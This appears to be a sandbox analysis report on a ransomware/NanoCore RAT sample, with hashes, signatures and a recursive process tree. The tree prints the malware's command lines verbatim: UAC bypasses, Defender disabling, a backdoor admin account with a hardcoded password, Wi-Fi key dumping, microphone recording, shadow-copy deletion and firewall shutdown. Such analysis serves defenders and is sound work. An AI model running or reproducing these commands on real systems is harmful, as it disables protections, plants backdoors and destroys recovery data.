Overview

overview

10

Static

static

10

onafhankel...me.exe

windows10-2004-x64

onafhankel...me.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    43s
  • max time network
    56s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    08/09/2026, 00:43

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

Errors

Reason
Machine shutdown

General

  • Target
    onafhankelijkeenergievergelijker.nl_ransome.exe
  • Size 40KB
  • Sample260908-a3ds6scc29
  • SHA256 e31691cc7f9bc6c4203223bd97d9f79d131400eb4c9ae728e1e60c80f4a6c446
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionnanocoreimpactkeyloggerpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Extracted

Family

  • nanocore

Attributes
  • c2_port

    22401

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

    keyloggertrojanstealerspywarenanocore
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Disables one or more Microsoft Defender components 1 TTPs 23 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Modifies Windows Firewall 2 TTPs 5 IoCs
    defense_evasion
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 31 IoCs

    Using powershell.exe command.

    execution
  • Creates a new local user account 1 TTPs 43 IoCs

    Uses net.exe to create a new local user account, often for persistence or a backdoor account.

    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 8 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Interacts with shadow copies 3 TTPs 5 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 23 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
    "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
    1⤵
    • Checks computer location settings
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:3740
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:4872
    • C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\3406d83a-6a29-41e7-ad4a-2126350f02f1.inf
      2⤵
        PID:1268
      • C:\Windows\System32\eventvwr.exe
        "C:\Windows\System32\eventvwr.exe"
        2⤵
          PID:4876
          • C:\Windows\system32\mmc.exe
            "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
            3⤵
              PID:5040
          • C:\Windows\System32\fodhelper.exe
            "C:\Windows\System32\fodhelper.exe"
            2⤵
              PID:4628
              • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                3⤵
                  PID:4776
                  • C:\Windows\System32\schtasks.exe
                    "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                    4⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3212
                  • C:\Windows\System32\cmstp.exe
                    "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\cf87edb0-deb5-4413-a3c7-dddeae3c2869.inf
                    4⤵
                      PID:1184
                    • C:\Windows\System32\eventvwr.exe
                      "C:\Windows\System32\eventvwr.exe"
                      4⤵
                        PID:4024
                        • C:\Windows\system32\mmc.exe
                          "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                          5⤵
                            PID:4144
                        • C:\Windows\System32\fodhelper.exe
                          "C:\Windows\System32\fodhelper.exe"
                          4⤵
                            PID:1868
                            • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                              "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                              5⤵
                                PID:4308
                                • C:\Windows\System32\schtasks.exe
                                  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                                  6⤵
                                  • Scheduled Task/Job: Scheduled Task
                                  PID:4800
                                • C:\Windows\System32\cmstp.exe
                                  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\3411533e-74d1-4b10-8973-71bdeed76075.inf
                                  6⤵
                                    PID:212
                                  • C:\Windows\System32\eventvwr.exe
                                    "C:\Windows\System32\eventvwr.exe"
                                    6⤵
                                      PID:3480
                                      • C:\Windows\system32\mmc.exe
                                        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                        7⤵
                                          PID:3500
                                      • C:\Windows\System32\fodhelper.exe
                                        "C:\Windows\System32\fodhelper.exe"
                                        6⤵
                                          PID:1764
                                          • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                            "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                                            7⤵
                                              PID:700
                                              • C:\Windows\System32\schtasks.exe
                                                "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                                                8⤵
                                                • Scheduled Task/Job: Scheduled Task
                                                PID:5524
                                              • C:\Windows\System32\cmstp.exe
                                                "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d8ea68a4-4da8-48d3-a83e-82b3179ac636.inf
                                                8⤵
                                                  PID:5536
                                                • C:\Windows\System32\eventvwr.exe
                                                  "C:\Windows\System32\eventvwr.exe"
                                                  8⤵
                                                    PID:5560
                                                    • C:\Windows\system32\mmc.exe
                                                      "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                      9⤵
                                                        PID:5608
                                                    • C:\Windows\System32\fodhelper.exe
                                                      "C:\Windows\System32\fodhelper.exe"
                                                      8⤵
                                                        PID:5584
                                                        • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                                                          9⤵
                                                            PID:3212
                                                            • C:\Windows\System32\schtasks.exe
                                                              "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                                                              10⤵
                                                              • Scheduled Task/Job: Scheduled Task
                                                              PID:5136
                                                            • C:\Windows\System32\cmstp.exe
                                                              "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\4af6ff29-d857-4856-9823-48e11ccb5d86.inf
                                                              10⤵
                                                                PID:5528
                                                              • C:\Windows\System32\eventvwr.exe
                                                                "C:\Windows\System32\eventvwr.exe"
                                                                10⤵
                                                                  PID:6120
                                                                  • C:\Windows\system32\mmc.exe
                                                                    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                    11⤵
                                                                      PID:4872
                                                                  • C:\Windows\System32\fodhelper.exe
                                                                    "C:\Windows\System32\fodhelper.exe"
                                                                    10⤵
                                                                      PID:3076
                                                                      • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                                                                        11⤵
                                                                          PID:7052
                                                                          • C:\Windows\System32\schtasks.exe
                                                                            "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                                                                            12⤵
                                                                            • Scheduled Task/Job: Scheduled Task
                                                                            PID:5880
                                                                          • C:\Windows\System32\cmstp.exe
                                                                            "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\10a76c9a-8ec8-4667-a340-27267a7d4695.inf
                                                                            12⤵
                                                                              PID:6084
                                                                            • C:\Windows\System32\eventvwr.exe
                                                                              "C:\Windows\System32\eventvwr.exe"
                                                                              12⤵
                                                                                PID:5908
                                                                                • C:\Windows\system32\mmc.exe
                                                                                  "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                  13⤵
                                                                                    PID:6340
                                                                                • C:\Windows\System32\fodhelper.exe
                                                                                  "C:\Windows\System32\fodhelper.exe"
                                                                                  12⤵
                                                                                    PID:4672
                                                                                    • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                                                                                      13⤵
                                                                                        PID:6104
                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                          "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                                                                                          14⤵
                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                          PID:8100
                                                                                        • C:\Windows\System32\cmstp.exe
                                                                                          "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\1355ddaf-0c50-4386-9c33-99e974e1bfe0.inf
                                                                                          14⤵
                                                                                            PID:8188
                                                                                          • C:\Windows\System32\eventvwr.exe
                                                                                            "C:\Windows\System32\eventvwr.exe"
                                                                                            14⤵
                                                                                              PID:7068
                                                                                              • C:\Windows\system32\mmc.exe
                                                                                                "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                15⤵
                                                                                                  PID:7252
                                                                                              • C:\Windows\System32\fodhelper.exe
                                                                                                "C:\Windows\System32\fodhelper.exe"
                                                                                                14⤵
                                                                                                  PID:6572
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                                                                                                    15⤵
                                                                                                      PID:8480
                                                                                                      • C:\Windows\System32\schtasks.exe
                                                                                                        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                                                                                                        16⤵
                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                        PID:3424
                                                                                                      • C:\Windows\System32\cmstp.exe
                                                                                                        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\fb845dd0-c436-4363-b1f8-5f0c5f1b9d19.inf
                                                                                                        16⤵
                                                                                                          PID:7764
                                                                                                        • C:\Windows\System32\eventvwr.exe
                                                                                                          "C:\Windows\System32\eventvwr.exe"
                                                                                                          16⤵
                                                                                                            PID:9032
                                                                                                            • C:\Windows\system32\mmc.exe
                                                                                                              "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                              17⤵
                                                                                                                PID:8080
                                                                                                            • C:\Windows\System32\fodhelper.exe
                                                                                                              "C:\Windows\System32\fodhelper.exe"
                                                                                                              16⤵
                                                                                                                PID:7044
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                                                                                                                  17⤵
                                                                                                                    PID:10788
                                                                                                                    • C:\Windows\System32\schtasks.exe
                                                                                                                      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                                                                                                                      18⤵
                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                      PID:9112
                                                                                                                    • C:\Windows\System32\fodhelper.exe
                                                                                                                      "C:\Windows\System32\fodhelper.exe"
                                                                                                                      18⤵
                                                                                                                        PID:7372
                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                        18⤵
                                                                                                                        • Disables one or more Microsoft Defender components
                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                        PID:10720
                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                    16⤵
                                                                                                                    • Disables one or more Microsoft Defender components
                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                    PID:1720
                                                                                                                  • C:\Windows\SYSTEM32\net.exe
                                                                                                                    "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                    16⤵
                                                                                                                    • Creates a new local user account
                                                                                                                    PID:3472
                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                      C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                      17⤵
                                                                                                                      • Creates a new local user account
                                                                                                                      PID:10452
                                                                                                                  • C:\Windows\SYSTEM32\net.exe
                                                                                                                    "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                    16⤵
                                                                                                                      PID:10528
                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                        17⤵
                                                                                                                          PID:5024
                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                    14⤵
                                                                                                                    • Disables one or more Microsoft Defender components
                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                    PID:6592
                                                                                                                  • C:\Windows\SYSTEM32\net.exe
                                                                                                                    "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                    14⤵
                                                                                                                    • Creates a new local user account
                                                                                                                    PID:8992
                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                      C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                      15⤵
                                                                                                                      • Creates a new local user account
                                                                                                                      PID:7740
                                                                                                                  • C:\Windows\SYSTEM32\net.exe
                                                                                                                    "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                    14⤵
                                                                                                                      PID:8744
                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                        15⤵
                                                                                                                          PID:10060
                                                                                                                      • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                        "notepad.exe"
                                                                                                                        14⤵
                                                                                                                          PID:8628
                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                      12⤵
                                                                                                                      • Disables one or more Microsoft Defender components
                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                      PID:5804
                                                                                                                    • C:\Windows\SYSTEM32\net.exe
                                                                                                                      "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                      12⤵
                                                                                                                      • Creates a new local user account
                                                                                                                      PID:7676
                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                        13⤵
                                                                                                                        • Creates a new local user account
                                                                                                                        PID:3956
                                                                                                                    • C:\Windows\SYSTEM32\net.exe
                                                                                                                      "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                      12⤵
                                                                                                                        PID:7388
                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                          C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                          13⤵
                                                                                                                            PID:8384
                                                                                                                        • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                          "notepad.exe"
                                                                                                                          12⤵
                                                                                                                            PID:9600
                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                        10⤵
                                                                                                                        • Disables one or more Microsoft Defender components
                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                        PID:4076
                                                                                                                      • C:\Windows\SYSTEM32\net.exe
                                                                                                                        "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                        10⤵
                                                                                                                        • Creates a new local user account
                                                                                                                        PID:5124
                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                          C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                          11⤵
                                                                                                                          • Creates a new local user account
                                                                                                                          PID:3424
                                                                                                                      • C:\Windows\SYSTEM32\net.exe
                                                                                                                        "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                        10⤵
                                                                                                                          PID:6444
                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                            C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                            11⤵
                                                                                                                              PID:6304
                                                                                                                          • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                            "notepad.exe"
                                                                                                                            10⤵
                                                                                                                              PID:8696
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                          8⤵
                                                                                                                          • Disables one or more Microsoft Defender components
                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                          PID:5592
                                                                                                                        • C:\Windows\SYSTEM32\net.exe
                                                                                                                          "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                          8⤵
                                                                                                                          • Creates a new local user account
                                                                                                                          PID:3512
                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                            C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                            9⤵
                                                                                                                            • Creates a new local user account
                                                                                                                            PID:2432
                                                                                                                        • C:\Windows\SYSTEM32\net.exe
                                                                                                                          "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                          8⤵
                                                                                                                            PID:460
                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                              C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                              9⤵
                                                                                                                                PID:5548
                                                                                                                            • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                              "notepad.exe"
                                                                                                                              8⤵
                                                                                                                                PID:7556
                                                                                                                              • C:\Windows\SYSTEM32\netsh.exe
                                                                                                                                "netsh" wlan show profiles key=clear
                                                                                                                                8⤵
                                                                                                                                • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                PID:10356
                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639244286810778963.wav')"
                                                                                                                                8⤵
                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                PID:10352
                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                            6⤵
                                                                                                                            • Disables one or more Microsoft Defender components
                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                            PID:4748
                                                                                                                          • C:\Windows\SYSTEM32\net.exe
                                                                                                                            "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                            6⤵
                                                                                                                            • Creates a new local user account
                                                                                                                            PID:5396
                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                              C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                              7⤵
                                                                                                                              • Creates a new local user account
                                                                                                                              PID:5784
                                                                                                                          • C:\Windows\SYSTEM32\net.exe
                                                                                                                            "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                            6⤵
                                                                                                                              PID:6068
                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                7⤵
                                                                                                                                  PID:5640
                                                                                                                              • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                                "notepad.exe"
                                                                                                                                6⤵
                                                                                                                                  PID:6112
                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639244286785153909.wav')"
                                                                                                                                  6⤵
                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                  PID:7224
                                                                                                                                • C:\Windows\SYSTEM32\netsh.exe
                                                                                                                                  "netsh" wlan show profiles key=clear
                                                                                                                                  6⤵
                                                                                                                                  • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                  PID:9148
                                                                                                                                • C:\Windows\System32\vssadmin.exe
                                                                                                                                  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                                  6⤵
                                                                                                                                  • Interacts with shadow copies
                                                                                                                                  PID:11104
                                                                                                                                • C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                                                                                                  6⤵
                                                                                                                                    PID:7472
                                                                                                                                  • C:\Windows\System32\net.exe
                                                                                                                                    "C:\Windows\System32\net.exe" stop srservice
                                                                                                                                    6⤵
                                                                                                                                      PID:7912
                                                                                                                                    • C:\Windows\System32\netsh.exe
                                                                                                                                      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                                                                                                                                      6⤵
                                                                                                                                      • Modifies Windows Firewall
                                                                                                                                      PID:7480
                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                  4⤵
                                                                                                                                  • Disables one or more Microsoft Defender components
                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                  PID:4440
                                                                                                                                • C:\Windows\SYSTEM32\net.exe
                                                                                                                                  "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                  4⤵
                                                                                                                                  • Creates a new local user account
                                                                                                                                  PID:408
                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                    5⤵
                                                                                                                                    • Creates a new local user account
                                                                                                                                    PID:4272
                                                                                                                                • C:\Windows\SYSTEM32\net.exe
                                                                                                                                  "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                  4⤵
                                                                                                                                    PID:4268
                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                      C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                      5⤵
                                                                                                                                        PID:5228
                                                                                                                                    • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                                      "notepad.exe"
                                                                                                                                      4⤵
                                                                                                                                        PID:6632
                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639244286737341576.wav')"
                                                                                                                                        4⤵
                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                        PID:6436
                                                                                                                                      • C:\Windows\SYSTEM32\netsh.exe
                                                                                                                                        "netsh" wlan show profiles key=clear
                                                                                                                                        4⤵
                                                                                                                                        • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                        PID:2208
                                                                                                                                      • C:\Windows\System32\vssadmin.exe
                                                                                                                                        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                                        4⤵
                                                                                                                                        • Interacts with shadow copies
                                                                                                                                        PID:2748
                                                                                                                                      • C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                                                                                                        4⤵
                                                                                                                                          PID:8864
                                                                                                                                        • C:\Windows\System32\net.exe
                                                                                                                                          "C:\Windows\System32\net.exe" stop srservice
                                                                                                                                          4⤵
                                                                                                                                            PID:9064
                                                                                                                                          • C:\Windows\System32\netsh.exe
                                                                                                                                            "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                                                                                                                                            4⤵
                                                                                                                                            • Modifies Windows Firewall
                                                                                                                                            PID:10924
                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                        2⤵
                                                                                                                                        • Disables one or more Microsoft Defender components
                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                        PID:1580
                                                                                                                                      • C:\Windows\SYSTEM32\net.exe
                                                                                                                                        "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                        2⤵
                                                                                                                                        • Creates a new local user account
                                                                                                                                        PID:704
                                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                                          C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                          3⤵
                                                                                                                                          • Creates a new local user account
                                                                                                                                          PID:2720
                                                                                                                                      • C:\Windows\SYSTEM32\net.exe
                                                                                                                                        "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                        2⤵
                                                                                                                                          PID:2608
                                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                                            C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                            3⤵
                                                                                                                                              PID:4148
                                                                                                                                          • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                                            "notepad.exe"
                                                                                                                                            2⤵
                                                                                                                                              PID:5332
                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                              "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639244286731559987.wav')"
                                                                                                                                              2⤵
                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                              PID:6500
                                                                                                                                            • C:\Windows\SYSTEM32\netsh.exe
                                                                                                                                              "netsh" wlan show profiles key=clear
